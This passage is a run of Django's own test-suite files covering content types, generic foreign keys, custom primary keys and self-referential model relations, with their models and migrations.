                app_label = 'my_great_app'
                apps = Apps()

        ct = ContentType.objects.get_for_model(ModelCreatedOnTheFly)
        self.assertEqual(ct.app_label, 'my_great_app')
        self.assertEqual(ct.model, 'modelcreatedonthefly')
        self.assertEqual(force_text(ct), 'modelcreatedonthefly')


@override_settings(SILENCED_SYSTEM_CHECKS=['fields.W342'])  # ForeignKey(unique=True)
@isolate_apps('contenttypes_tests', attr_name='apps')
class GenericForeignKeyTests(SimpleTestCase):

    def test_str(self):
        class Model(models.Model):
            field = GenericForeignKey()
        expected = "contenttypes_tests.Model.field"
        actual = force_str(Model.field)
        self.assertEqual(expected, actual)

    def test_missing_content_type_field(self):
        class TaggedItem(models.Model):
            # no content_type field
            object_id = models.PositiveIntegerField()
            content_object = GenericForeignKey()

        errors = TaggedItem.content_object.check()
        expected = [
            checks.Error(
                "The GenericForeignKey content type references the non-existent field 'TaggedItem.content_type'.",
                obj=TaggedItem.content_object,
                id='contenttypes.E002',
            )
        ]
        self.assertEqual(errors, expected)

    def test_invalid_content_type_field(self):
        class Model(models.Model):
            content_type = models.IntegerField()  # should be ForeignKey
            object_id = models.PositiveIntegerField()
            content_object = GenericForeignKey(
                'content_type', 'object_id')

        errors = Model.content_object.check()
        expected = [
            checks.Error(
                "'Model.content_type' is not a ForeignKey.",
                hint=(
                    "GenericForeignKeys must use a ForeignKey to "
                    "'contenttypes.ContentType' as the 'content_type' field."
                ),
                obj=Model.content_object,
                id='contenttypes.E003',
            )
        ]
        self.assertEqual(errors, expected)

    def test_content_type_field_pointing_to_wrong_model(self):
        class Model(models.Model):
            content_type = models.ForeignKey('self', models.CASCADE)  # should point to ContentType
            object_id = models.PositiveIntegerField()
            content_object = GenericForeignKey(
                'content_type', 'object_id')

        errors = Model.content_object.check()
        expected = [
            checks.Error(
                "'Model.content_type' is not a ForeignKey to 'contenttypes.ContentType'.",
                hint=(
                    "GenericForeignKeys must use a ForeignKey to "
                    "'contenttypes.ContentType' as the 'content_type' field."
                ),
                obj=Model.content_object,
                id='contenttypes.E004',
            )
        ]
        self.assertEqual(errors, expected)

    def test_missing_object_id_field(self):
        class TaggedItem(models.Model):
            content_type = models.ForeignKey(ContentType, models.CASCADE)
            # missing object_id field
            content_object = GenericForeignKey()

        errors = TaggedItem.content_object.check()
        expected = [
            checks.Error(
                "The GenericForeignKey object ID references the non-existent field 'object_id'.",
                obj=TaggedItem.content_object,
                id='contenttypes.E001',
            )
        ]
        self.assertEqual(errors, expected)

    def test_field_name_ending_with_underscore(self):
        class Model(models.Model):
            content_type = models.ForeignKey(ContentType, models.CASCADE)
            object_id = models.PositiveIntegerField()
            content_object_ = GenericForeignKey(
                'content_type', 'object_id')

        errors = Model.content_object_.check()
        expected = [
            checks.Error(
                'Field names must not end with an underscore.',
                obj=Model.content_object_,
                id='fields.E001',
            )
        ]
        self.assertEqual(errors, expected)

    @override_settings(INSTALLED_APPS=['django.contrib.auth', 'django.contrib.contenttypes', 'contenttypes_tests'])
    def test_generic_foreign_key_checks_are_performed(self):
        class MyGenericForeignKey(GenericForeignKey):
            def check(self, **kwargs):
                return ['performed!']

        class Model(models.Model):
            content_object = MyGenericForeignKey()

        errors = checks.run_checks(app_configs=self.apps.get_app_configs())
        self.assertEqual(errors, ['performed!'])


@isolate_apps('contenttypes_tests')
class GenericRelationshipTests(SimpleTestCase):

    def test_valid_generic_relationship(self):
        class TaggedItem(models.Model):
            content_type = models.ForeignKey(ContentType, models.CASCADE)
            object_id = models.PositiveIntegerField()
            content_object = GenericForeignKey()

        class Bookmark(models.Model):
            tags = GenericRelation('TaggedItem')

        errors = Bookmark.tags.field.check()
        self.assertEqual(errors, [])

    def test_valid_generic_relationship_with_explicit_fields(self):
        class TaggedItem(models.Model):
            custom_content_type = models.ForeignKey(ContentType, models.CASCADE)
            custom_object_id = models.PositiveIntegerField()
            content_object = GenericForeignKey(
                'custom_content_type', 'custom_object_id')

        class Bookmark(models.Model):
            tags = GenericRelation(
                'TaggedItem',
                content_type_field='custom_content_type',
                object_id_field='custom_object_id',
            )

        errors = Bookmark.tags.field.check()
        self.assertEqual(errors, [])

    def test_pointing_to_missing_model(self):
        class Model(models.Model):
            rel = GenericRelation('MissingModel')

        errors = Model.rel.field.check()
        expected = [
            checks.Error(
                "Field defines a relation with model 'MissingModel', "
                "which is either not installed, or is abstract.",
                obj=Model.rel.field,
                id='fields.E300',
            )
        ]
        self.assertEqual(errors, expected)

    def test_valid_self_referential_generic_relationship(self):
        class Model(models.Model):
            rel = GenericRelation('Model')
            content_type = models.ForeignKey(ContentType, models.CASCADE)
            object_id = models.PositiveIntegerField()
            content_object = GenericForeignKey(
                'content_type', 'object_id')

        errors = Model.rel.field.check()
        self.assertEqual(errors, [])

    def test_missing_generic_foreign_key(self):
        class TaggedItem(models.Model):
            content_type = models.ForeignKey(ContentType, models.CASCADE)
            object_id = models.PositiveIntegerField()

        class Bookmark(models.Model):
            tags = GenericRelation('TaggedItem')

        errors = Bookmark.tags.field.check()
        expected = [
            checks.Error(
                "The GenericRelation defines a relation with the model "
                "'contenttypes_tests.TaggedItem', but that model does not have a "
                "GenericForeignKey.",
                obj=Bookmark.tags.field,
                id='contenttypes.E004',
            )
        ]
        self.assertEqual(errors, expected)

    @override_settings(TEST_SWAPPED_MODEL='contenttypes_tests.Replacement')
    def test_pointing_to_swapped_model(self):
        class Replacement(models.Model):
            pass

        class SwappedModel(models.Model):
            content_type = models.ForeignKey(ContentType, models.CASCADE)
            object_id = models.PositiveIntegerField()
            content_object = GenericForeignKey()

            class Meta:
                swappable = 'TEST_SWAPPED_MODEL'

        class Model(models.Model):
            rel = GenericRelation('SwappedModel')

        errors = Model.rel.field.check()
        expected = [
            checks.Error(
                "Field defines a relation with the model "
                "'contenttypes_tests.SwappedModel', "
                "which has been swapped out.",
                hint="Update the relation to point at 'settings.TEST_SWAPPED_MODEL'.",
                obj=Model.rel.field,
                id='fields.E301',
            )
        ]
        self.assertEqual(errors, expected)

    def test_field_name_ending_with_underscore(self):
        class TaggedItem(models.Model):
            content_type = models.ForeignKey(ContentType, models.CASCADE)
            object_id = models.PositiveIntegerField()
            content_object = GenericForeignKey()

        class InvalidBookmark(models.Model):
            tags_ = GenericRelation('TaggedItem')

        errors = InvalidBookmark.tags_.field.check()
        expected = [
            checks.Error(
                'Field names must not end with an underscore.',
                obj=InvalidBookmark.tags_.field,
                id='fields.E001',
            )
        ]
        self.assertEqual(errors, expected)


class UpdateContentTypesTests(TestCase):
    def setUp(self):
        self.before_count = ContentType.objects.count()
        self.content_type = ContentType.objects.create(app_label='contenttypes_tests', model='Fake')
        self.app_config = apps.get_app_config('contenttypes_tests')

    def test_interactive_true_with_dependent_objects(self):
        """
        interactive mode of update_contenttypes() (the default) should delete
        stale contenttypes and warn of dependent objects.
        """
        post = Post.objects.create(title='post', content_type=self.content_type)
        # A related object is needed to show that a custom collector with
        # can_fast_delete=False is needed.
        ModelWithNullFKToSite.objects.create(post=post)
        contenttypes_management.input = lambda x: force_str("yes")
        with captured_stdout() as stdout:
            contenttypes_management.update_contenttypes(self.app_config)
        self.assertEqual(Post.objects.count(), 0)
        output = stdout.getvalue()
        self.assertIn('- Content type for contenttypes_tests.Fake', output)
        self.assertIn('- 1 contenttypes_tests.Post object(s)', output)
        self.assertIn('- 1 contenttypes_tests.ModelWithNullFKToSite', output)
        self.assertIn('Deleting stale content type', output)
        self.assertEqual(ContentType.objects.count(), self.before_count)

    def test_interactive_true_without_dependent_objects(self):
        """
        interactive mode of update_contenttypes() (the default) should delete
        stale contenttypes even if there aren't any dependent objects.
        """
        contenttypes_management.input = lambda x: force_str("yes")
        with captured_stdout() as stdout:
            contenttypes_management.update_contenttypes(self.app_config)
        self.assertIn("Deleting stale content type", stdout.getvalue())
        self.assertEqual(ContentType.objects.count(), self.before_count)

    def test_interactive_false(self):
        """
        non-interactive mode of update_contenttypes() shouldn't delete stale
        content types.
        """
        with captured_stdout() as stdout:
            contenttypes_management.update_contenttypes(self.app_config, interactive=False)
        self.assertIn("Stale content types remain.", stdout.getvalue())
        self.assertEqual(ContentType.objects.count(), self.before_count + 1)

    def test_unavailable_content_type_model(self):
        """
        #24075 - A ContentType shouldn't be created or deleted if the model
        isn't available.
        """
        apps = Apps()
        with self.assertNumQueries(0):
            contenttypes_management.update_contenttypes(self.app_config, interactive=False, verbosity=0, apps=apps)
        self.assertEqual(ContentType.objects.count(), self.before_count + 1)


class TestRouter(object):
    def db_for_read(self, model, **hints):
        return 'other'

    def db_for_write(self, model, **hints):
        return 'default'


@override_settings(DATABASE_ROUTERS=[TestRouter()])
class ContentTypesMultidbTestCase(TestCase):

    def setUp(self):
        # Whenever a test starts executing, only the "default" database is
        # connected. We explicitly connect to the "other" database here. If we
        # don't do it, then it will be implicitly connected later when we query
        # it, but in that case some database backends may automatically perform
        # extra queries upon connecting (notably mysql executes
        # "SET SQL_AUTO_IS_NULL = 0"), which will affect assertNumQueries().
        connections['other'].ensure_connection()

    def test_multidb(self):
        """
        Test that, when using multiple databases, we use the db_for_read (see
        #20401).
        """
        ContentType.objects.clear_cache()

        with self.assertNumQueries(0, using='default'), \
                self.assertNumQueries(1, using='other'):
            ContentType.objects.get_for_model(Author)


@override_settings(
    MIGRATION_MODULES=dict(settings.MIGRATION_MODULES, contenttypes_tests='contenttypes_tests.operations_migrations'),
)
class ContentTypeOperationsTests(TransactionTestCase):
    available_apps = [
        'contenttypes_tests',
        'django.contrib.contenttypes',
        'django.contrib.auth',
    ]

    def setUp(self):
        app_config = apps.get_app_config('contenttypes_tests')
        models.signals.post_migrate.connect(self.assertOperationsInjected, sender=app_config)

    def tearDown(self):
        app_config = apps.get_app_config('contenttypes_tests')
        models.signals.post_migrate.disconnect(self.assertOperationsInjected, sender=app_config)

    def assertOperationsInjected(self, plan, **kwargs):
        for migration, _backward in plan:
            operations = iter(migration.operations)
            for operation in operations:
                if isinstance(operation, migrations.RenameModel):
                    next_operation = next(operations)
                    self.assertIsInstance(next_operation, contenttypes_management.RenameContentType)
                    self.assertEqual(next_operation.app_label, migration.app_label)
                    self.assertEqual(next_operation.old_model, operation.old_name_lower)
                    self.assertEqual(next_operation.new_model, operation.new_name_lower)

    def test_existing_content_type_rename(self):
        ContentType.objects.create(app_label='contenttypes_tests', model='foo')
        management.call_command(
            'migrate', 'contenttypes_tests', database='default', interactive=False, verbosity=0,
        )
        self.assertFalse(ContentType.objects.filter(app_label='contenttypes_tests', model='foo').exists())
        self.assertTrue(ContentType.objects.filter(app_label='contenttypes_tests', model='renamedfoo').exists())
        management.call_command(
            'migrate', 'contenttypes_tests', 'zero', database='default', interactive=False, verbosity=0,
        )
        self.assertTrue(ContentType.objects.filter(app_label='contenttypes_tests', model='foo').exists())
        self.assertFalse(ContentType.objects.filter(app_label='contenttypes_tests', model='renamedfoo').exists())

    def test_missing_content_type_rename_ignore(self):
        management.call_command(
            'migrate', 'contenttypes_tests', database='default', interactive=False, verbosity=0,
        )
        self.assertFalse(ContentType.objects.filter(app_label='contenttypes_tests', model='foo').exists())
        self.assertTrue(ContentType.objects.filter(app_label='contenttypes_tests', model='renamedfoo').exists())
        management.call_command(
            'migrate', 'contenttypes_tests', 'zero', database='default', interactive=False, verbosity=0,
        )
        self.assertTrue(ContentType.objects.filter(app_label='contenttypes_tests', model='foo').exists())
        self.assertFalse(ContentType.objects.filter(app_label='contenttypes_tests', model='renamedfoo').exists())

    def test_content_type_rename_conflict(self):
        ContentType.objects.create(app_label='contenttypes_tests', model='foo')
        ContentType.objects.create(app_label='contenttypes_tests', model='renamedfoo')
        management.call_command(
            'migrate', 'contenttypes_tests', database='default', interactive=False, verbosity=0,
        )
        self.assertTrue(ContentType.objects.filter(app_label='contenttypes_tests', model='foo').exists())
        self.assertTrue(ContentType.objects.filter(app_label='contenttypes_tests', model='renamedfoo').exists())
        management.call_command(
            'migrate', 'contenttypes_tests', 'zero', database='default', interactive=False, verbosity=0,
        )
        self.assertTrue(ContentType.objects.filter(app_label='contenttypes_tests', model='foo').exists())
        self.assertTrue(ContentType.objects.filter(app_label='contenttypes_tests', model='renamedfoo').exists())






from __future__ import unicode_literals

from django.contrib.contenttypes.models import ContentType, ContentTypeManager
from django.contrib.contenttypes.views import shortcut
from django.contrib.sites.shortcuts import get_current_site
from django.http import Http404, HttpRequest
from django.test import TestCase, override_settings
from django.utils import six

from .models import (
    ConcreteModel, FooWithBrokenAbsoluteUrl, FooWithoutUrl, FooWithUrl,
    ProxyModel,
)


class ContentTypesTests(TestCase):

    def setUp(self):
        ContentType.objects.clear_cache()

    def tearDown(self):
        ContentType.objects.clear_cache()

    def test_lookup_cache(self):
        """
        Make sure that the content type cache (see ContentTypeManager)
        works correctly. Lookups for a particular content type -- by model, ID
        or natural key -- should hit the database only on the first lookup.
        """

        # At this point, a lookup for a ContentType should hit the DB
        with self.assertNumQueries(1):
            ContentType.objects.get_for_model(ContentType)

        # A second hit, though, won't hit the DB, nor will a lookup by ID
        # or natural key
        with self.assertNumQueries(0):
            ct = ContentType.objects.get_for_model(ContentType)
        with self.assertNumQueries(0):
            ContentType.objects.get_for_id(ct.id)
        with self.assertNumQueries(0):
            ContentType.objects.get_by_natural_key('contenttypes', 'contenttype')

        # Once we clear the cache, another lookup will again hit the DB
        ContentType.objects.clear_cache()
        with self.assertNumQueries(1):
            ContentType.objects.get_for_model(ContentType)

        # The same should happen with a lookup by natural key
        ContentType.objects.clear_cache()
        with self.assertNumQueries(1):
            ContentType.objects.get_by_natural_key('contenttypes', 'contenttype')
        # And a second hit shouldn't hit the DB
        with self.assertNumQueries(0):
            ContentType.objects.get_by_natural_key('contenttypes', 'contenttype')

    def test_get_for_models_empty_cache(self):
        # Empty cache.
        with self.assertNumQueries(1):
            cts = ContentType.objects.get_for_models(ContentType, FooWithUrl)
        self.assertEqual(cts, {
            ContentType: ContentType.objects.get_for_model(ContentType),
            FooWithUrl: ContentType.objects.get_for_model(FooWithUrl),
        })

    def test_get_for_models_partial_cache(self):
        # Partial cache
        ContentType.objects.get_for_model(ContentType)
        with self.assertNumQueries(1):
            cts = ContentType.objects.get_for_models(ContentType, FooWithUrl)
        self.assertEqual(cts, {
            ContentType: ContentType.objects.get_for_model(ContentType),
            FooWithUrl: ContentType.objects.get_for_model(FooWithUrl),
        })

    def test_get_for_models_full_cache(self):
        # Full cache
        ContentType.objects.get_for_model(ContentType)
        ContentType.objects.get_for_model(FooWithUrl)
        with self.assertNumQueries(0):
            cts = ContentType.objects.get_for_models(ContentType, FooWithUrl)
        self.assertEqual(cts, {
            ContentType: ContentType.objects.get_for_model(ContentType),
            FooWithUrl: ContentType.objects.get_for_model(FooWithUrl),
        })

    def test_get_for_concrete_model(self):
        """
        Make sure the `for_concrete_model` kwarg correctly works
        with concrete, proxy and deferred models
        """
        concrete_model_ct = ContentType.objects.get_for_model(ConcreteModel)
        self.assertEqual(concrete_model_ct, ContentType.objects.get_for_model(ProxyModel))
        self.assertEqual(concrete_model_ct, ContentType.objects.get_for_model(ConcreteModel, for_concrete_model=False))

        proxy_model_ct = ContentType.objects.get_for_model(ProxyModel, for_concrete_model=False)
        self.assertNotEqual(concrete_model_ct, proxy_model_ct)

        # Make sure deferred model are correctly handled
        ConcreteModel.objects.create(name="Concrete")
        DeferredConcreteModel = ConcreteModel.objects.only('pk').get().__class__
        DeferredProxyModel = ProxyModel.objects.only('pk').get().__class__

        self.assertEqual(concrete_model_ct, ContentType.objects.get_for_model(DeferredConcreteModel))
        self.assertEqual(
            concrete_model_ct,
            ContentType.objects.get_for_model(DeferredConcreteModel, for_concrete_model=False)
        )
        self.assertEqual(concrete_model_ct, ContentType.objects.get_for_model(DeferredProxyModel))
        self.assertEqual(
            proxy_model_ct,
            ContentType.objects.get_for_model(DeferredProxyModel, for_concrete_model=False)
        )

    def test_get_for_concrete_models(self):
        """
        Make sure the `for_concrete_models` kwarg correctly works
        with concrete, proxy and deferred models.
        """
        concrete_model_ct = ContentType.objects.get_for_model(ConcreteModel)

        cts = ContentType.objects.get_for_models(ConcreteModel, ProxyModel)
        self.assertEqual(cts, {
            ConcreteModel: concrete_model_ct,
            ProxyModel: concrete_model_ct,
        })

        proxy_model_ct = ContentType.objects.get_for_model(ProxyModel, for_concrete_model=False)
        cts = ContentType.objects.get_for_models(ConcreteModel, ProxyModel, for_concrete_models=False)
        self.assertEqual(cts, {
            ConcreteModel: concrete_model_ct,
            ProxyModel: proxy_model_ct,
        })

        # Make sure deferred model are correctly handled
        ConcreteModel.objects.create(name="Concrete")
        DeferredConcreteModel = ConcreteModel.objects.only('pk').get().__class__
        DeferredProxyModel = ProxyModel.objects.only('pk').get().__class__

        cts = ContentType.objects.get_for_models(DeferredConcreteModel, DeferredProxyModel)
        self.assertEqual(cts, {
            DeferredConcreteModel: concrete_model_ct,
            DeferredProxyModel: concrete_model_ct,
        })

        cts = ContentType.objects.get_for_models(
            DeferredConcreteModel, DeferredProxyModel, for_concrete_models=False
        )
        self.assertEqual(cts, {
            DeferredConcreteModel: concrete_model_ct,
            DeferredProxyModel: proxy_model_ct,
        })

    def test_cache_not_shared_between_managers(self):
        with self.assertNumQueries(1):
            ContentType.objects.get_for_model(ContentType)
        with self.assertNumQueries(0):
            ContentType.objects.get_for_model(ContentType)
        other_manager = ContentTypeManager()
        other_manager.model = ContentType
        with self.assertNumQueries(1):
            other_manager.get_for_model(ContentType)
        with self.assertNumQueries(0):
            other_manager.get_for_model(ContentType)

    @override_settings(ALLOWED_HOSTS=['example.com'])
    def test_shortcut_view(self):
        """
        Check that the shortcut view (used for the admin "view on site"
        functionality) returns a complete URL regardless of whether the sites
        framework is installed
        """

        request = HttpRequest()
        request.META = {
            "SERVER_NAME": "Example.com",
            "SERVER_PORT": "80",
        }
        user_ct = ContentType.objects.get_for_model(FooWithUrl)
        obj = FooWithUrl.objects.create(name="john")

        with self.modify_settings(INSTALLED_APPS={'append': 'django.contrib.sites'}):
            response = shortcut(request, user_ct.id, obj.id)
            self.assertEqual(
                "http://%s/users/john/" % get_current_site(request).domain,
                response._headers.get("location")[1]
            )

        with self.modify_settings(INSTALLED_APPS={'remove': 'django.contrib.sites'}):
            response = shortcut(request, user_ct.id, obj.id)
            self.assertEqual("http://Example.com/users/john/", response._headers.get("location")[1])

    def test_shortcut_view_without_get_absolute_url(self):
        """
        Check that the shortcut view (used for the admin "view on site"
        functionality) returns 404 when get_absolute_url is not defined.
        """

        request = HttpRequest()
        request.META = {
            "SERVER_NAME": "Example.com",
            "SERVER_PORT": "80",
        }
        user_ct = ContentType.objects.get_for_model(FooWithoutUrl)
        obj = FooWithoutUrl.objects.create(name="john")

        with self.assertRaises(Http404):
            shortcut(request, user_ct.id, obj.id)

    def test_shortcut_view_with_broken_get_absolute_url(self):
        """
        Check that the shortcut view does not catch an AttributeError raised
        by the model's get_absolute_url method.
        Refs #8997.
        """
        request = HttpRequest()
        request.META = {
            "SERVER_NAME": "Example.com",
            "SERVER_PORT": "80",
        }
        user_ct = ContentType.objects.get_for_model(FooWithBrokenAbsoluteUrl)
        obj = FooWithBrokenAbsoluteUrl.objects.create(name="john")

        with self.assertRaises(AttributeError):
            shortcut(request, user_ct.id, obj.id)

    def test_missing_model(self):
        """
        Ensures that displaying content types in admin (or anywhere) doesn't
        break on leftover content type records in the DB for which no model
        is defined anymore.
        """
        ct = ContentType.objects.create(
            app_label='contenttypes',
            model='OldModel',
        )
        self.assertEqual(six.text_type(ct), 'OldModel')
        self.assertIsNone(ct.model_class())

        # Make sure stale ContentTypes can be fetched like any other object.
        # Before Django 1.6 this caused a NoneType error in the caching mechanism.
        # Instead, just return the ContentType object and let the app detect stale states.
        ct_fetched = ContentType.objects.get_for_id(ct.pk)
        self.assertIsNone(ct_fetched.model_class())






from order_with_respect_to.base_tests import BaseOrderWithRespectToTests

from django.test import TestCase

from .models import Answer, Post, Question


class OrderWithRespectToGFKTests(BaseOrderWithRespectToTests, TestCase):
    Answer = Answer
    Post = Post
    Question = Question






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    operations = [
        migrations.CreateModel(
            'Foo',
            [
                ('id', models.AutoField(primary_key=True)),
            ],
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations


def assert_foo_contenttype_not_cached(apps, schema_editor):
    ContentType = apps.get_model('contenttypes', 'ContentType')
    try:
        content_type = ContentType.objects.get_by_natural_key('contenttypes_tests', 'foo')
    except ContentType.DoesNotExist:
        pass
    else:
        if not ContentType.objects.filter(app_label='contenttypes_tests', model='foo').exists():
            raise AssertionError('The contenttypes_tests.Foo ContentType should not be cached.')
        elif content_type.model != 'foo':
            raise AssertionError(
                "The cached contenttypes_tests.Foo ContentType should have "
                "its model set to 'foo'."
            )


class Migration(migrations.Migration):

    dependencies = [
        ('contenttypes_tests', '0001_initial'),
    ]

    operations = [
        migrations.RenameModel('Foo', 'RenamedFoo'),
        migrations.RunPython(assert_foo_contenttype_not_cached, migrations.RunPython.noop)
    ]






# -*- coding: utf-8 -*-
"""
Using a custom primary key

By default, Django adds an ``"id"`` field to each model. But you can override
this behavior by explicitly adding ``primary_key=True`` to a field.
"""

from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible

from .fields import MyAutoField


@python_2_unicode_compatible
class Employee(models.Model):
    employee_code = models.IntegerField(primary_key=True, db_column='code')
    first_name = models.CharField(max_length=20)
    last_name = models.CharField(max_length=20)

    class Meta:
        ordering = ('last_name', 'first_name')

    def __str__(self):
        return "%s %s" % (self.first_name, self.last_name)


@python_2_unicode_compatible
class Business(models.Model):
    name = models.CharField(max_length=20, primary_key=True)
    employees = models.ManyToManyField(Employee)

    class Meta:
        verbose_name_plural = 'businesses'

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Bar(models.Model):
    id = MyAutoField(primary_key=True, db_index=True)

    def __str__(self):
        return repr(self.pk)


class Foo(models.Model):
    bar = models.ForeignKey(Bar, models.CASCADE)












import random
import string

from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class MyWrapper(object):
    def __init__(self, value):
        self.value = value

    def __repr__(self):
        return "<%s: %s>" % (self.__class__.__name__, self.value)

    def __str__(self):
        return self.value

    def __eq__(self, other):
        if isinstance(other, self.__class__):
            return self.value == other.value
        return self.value == other


class MyAutoField(models.CharField):

    def __init__(self, *args, **kwargs):
        kwargs['max_length'] = 10
        super(MyAutoField, self).__init__(*args, **kwargs)

    def pre_save(self, instance, add):
        value = getattr(instance, self.attname, None)
        if not value:
            value = MyWrapper(''.join(random.sample(string.ascii_lowercase, 10)))
            setattr(instance, self.attname, value)
        return value

    def to_python(self, value):
        if not value:
            return
        if not isinstance(value, MyWrapper):
            value = MyWrapper(value)
        return value

    def from_db_value(self, value, expression, connection, context):
        if not value:
            return
        return MyWrapper(value)

    def get_db_prep_save(self, value, connection):
        if not value:
            return
        if isinstance(value, MyWrapper):
            return six.text_type(value)
        return value

    def get_db_prep_value(self, value, connection, prepared=False):
        if not value:
            return
        if isinstance(value, MyWrapper):
            return six.text_type(value)
        return value






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import IntegrityError, transaction
from django.test import TestCase, skipIfDBFeature
from django.utils import six

from .models import Bar, Business, Employee, Foo


class BasicCustomPKTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.dan = Employee.objects.create(
            employee_code=123, first_name="Dan", last_name="Jones",
        )
        cls.fran = Employee.objects.create(
            employee_code=456, first_name="Fran", last_name="Bones",
        )
        cls.business = Business.objects.create(name="Sears")
        cls.business.employees.add(cls.dan, cls.fran)

    def test_querysets(self):
        """
        Both pk and custom attribute_name can be used in filter and friends
        """
        self.assertQuerysetEqual(
            Employee.objects.filter(pk=123), [
                "Dan Jones",
            ],
            six.text_type
        )

        self.assertQuerysetEqual(
            Employee.objects.filter(employee_code=123), [
                "Dan Jones",
            ],
            six.text_type
        )

        self.assertQuerysetEqual(
            Employee.objects.filter(pk__in=[123, 456]), [
                "Fran Bones",
                "Dan Jones",
            ],
            six.text_type
        )

        self.assertQuerysetEqual(
            Employee.objects.all(), [
                "Fran Bones",
                "Dan Jones",
            ],
            six.text_type
        )

        self.assertQuerysetEqual(
            Business.objects.filter(name="Sears"), [
                "Sears"
            ],
            lambda b: b.name
        )
        self.assertQuerysetEqual(
            Business.objects.filter(pk="Sears"), [
                "Sears",
            ],
            lambda b: b.name
        )

    def test_querysets_related_name(self):
        """
        Custom pk doesn't affect related_name based lookups
        """
        self.assertQuerysetEqual(
            self.business.employees.all(), [
                "Fran Bones",
                "Dan Jones",
            ],
            six.text_type
        )
        self.assertQuerysetEqual(
            self.fran.business_set.all(), [
                "Sears",
            ],
            lambda b: b.name
        )

    def test_querysets_relational(self):
        """
        Queries across tables, involving primary key
        """
        self.assertQuerysetEqual(
            Employee.objects.filter(business__name="Sears"), [
                "Fran Bones",
                "Dan Jones",
            ],
            six.text_type,
        )
        self.assertQuerysetEqual(
            Employee.objects.filter(business__pk="Sears"), [
                "Fran Bones",
                "Dan Jones",
            ],
            six.text_type,
        )

        self.assertQuerysetEqual(
            Business.objects.filter(employees__employee_code=123), [
                "Sears",
            ],
            lambda b: b.name
        )
        self.assertQuerysetEqual(
            Business.objects.filter(employees__pk=123), [
                "Sears",
            ],
            lambda b: b.name,
        )

        self.assertQuerysetEqual(
            Business.objects.filter(employees__first_name__startswith="Fran"), [
                "Sears",
            ],
            lambda b: b.name
        )

    def test_get(self):
        """
        Get can accept pk or the real attribute name
        """
        self.assertEqual(Employee.objects.get(pk=123), self.dan)
        self.assertEqual(Employee.objects.get(pk=456), self.fran)

        with self.assertRaises(Employee.DoesNotExist):
            Employee.objects.get(pk=42)

        # Use the name of the primary key, rather than pk.
        self.assertEqual(Employee.objects.get(employee_code=123), self.dan)

    def test_pk_attributes(self):
        """
        pk and attribute name are available on the model
        No default id attribute is added
        """
        # pk can be used as a substitute for the primary key.
        # The primary key can be accessed via the pk property on the model.
        e = Employee.objects.get(pk=123)
        self.assertEqual(e.pk, 123)
        # Or we can use the real attribute name for the primary key:
        self.assertEqual(e.employee_code, 123)

        with self.assertRaises(AttributeError):
            e.id

    def test_in_bulk(self):
        """
        Custom pks work with in_bulk, both for integer and non-integer types
        """
        emps = Employee.objects.in_bulk([123, 456])
        self.assertEqual(emps[123], self.dan)

        self.assertEqual(Business.objects.in_bulk(["Sears"]), {
            "Sears": self.business,
        })

    def test_save(self):
        """
        custom pks do not affect save
        """
        fran = Employee.objects.get(pk=456)
        fran.last_name = "Jones"
        fran.save()

        self.assertQuerysetEqual(
            Employee.objects.filter(last_name="Jones"), [
                "Dan Jones",
                "Fran Jones",
            ],
            six.text_type
        )


class CustomPKTests(TestCase):
    def test_custom_pk_create(self):
        """
        New objects can be created both with pk and the custom name
        """
        Employee.objects.create(employee_code=1234, first_name="Foo", last_name="Bar")
        Employee.objects.create(pk=1235, first_name="Foo", last_name="Baz")
        Business.objects.create(name="Bears")
        Business.objects.create(pk="Tears")

    def test_unicode_pk(self):
        # Primary key may be unicode string
        Business.objects.create(name='jaźń')

    def test_unique_pk(self):
        # The primary key must also obviously be unique, so trying to create a
        # new object with the same primary key will fail.
        Employee.objects.create(
            employee_code=123, first_name="Frank", last_name="Jones"
        )
        with self.assertRaises(IntegrityError):
            with transaction.atomic():
                Employee.objects.create(employee_code=123, first_name="Fred", last_name="Jones")

    def test_zero_non_autoincrement_pk(self):
        Employee.objects.create(
            employee_code=0, first_name="Frank", last_name="Jones"
        )
        employee = Employee.objects.get(pk=0)
        self.assertEqual(employee.employee_code, 0)

    def test_custom_field_pk(self):
        # Regression for #10785 -- Custom fields can be used for primary keys.
        new_bar = Bar.objects.create()
        new_foo = Foo.objects.create(bar=new_bar)

        f = Foo.objects.get(bar=new_bar.pk)
        self.assertEqual(f, new_foo)
        self.assertEqual(f.bar, new_bar)

        f = Foo.objects.get(bar=new_bar)
        self.assertEqual(f, new_foo),
        self.assertEqual(f.bar, new_bar)

    # SQLite lets objects be saved with an empty primary key, even though an
    # integer is expected. So we can't check for an error being raised in that
    # case for SQLite. Remove it from the suite for this next bit.
    @skipIfDBFeature('supports_unspecified_pk')
    def test_required_pk(self):
        # The primary key must be specified, so an error is raised if you
        # try to create an object without it.
        with self.assertRaises(IntegrityError):
            with transaction.atomic():
                Employee.objects.create(first_name="Tom", last_name="Smith")






from __future__ import unicode_literals

from django.db import models
from django.utils import six


# The models definitions below used to crash. Generating models dynamically
# at runtime is a bad idea because it pollutes the app registry. This doesn't
# integrate well with the test suite but at least it prevents regressions.


class CustomBaseModel(models.base.ModelBase):
    pass


class MyModel(six.with_metaclass(CustomBaseModel, models.Model)):
    """Model subclass with a custom base using six.with_metaclass."""

# This is done to ensure that for Python2 only, defining metaclasses
# still does not fail to create the model.

if six.PY2:
    class MyPython2Model(models.Model):
        """Model subclass with a custom base using __metaclass__."""
        __metaclass__ = CustomBaseModel












"""
Many-to-many and many-to-one relationships to the same table

Make sure to set ``related_name`` if you use relationships to the same table.
"""
from __future__ import unicode_literals

from django.db import models
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


class User(models.Model):
    username = models.CharField(max_length=20)


@python_2_unicode_compatible
class Issue(models.Model):
    num = models.IntegerField()
    cc = models.ManyToManyField(User, blank=True, related_name='test_issue_cc')
    client = models.ForeignKey(User, models.CASCADE, related_name='test_issue_client')

    def __str__(self):
        return six.text_type(self.num)

    class Meta:
        ordering = ('num',)


class UnicodeReferenceModel(models.Model):
    others = models.ManyToManyField("UnicodeReferenceModel")












from django.db.models import Q
from django.test import TestCase

from .models import Issue, UnicodeReferenceModel, User


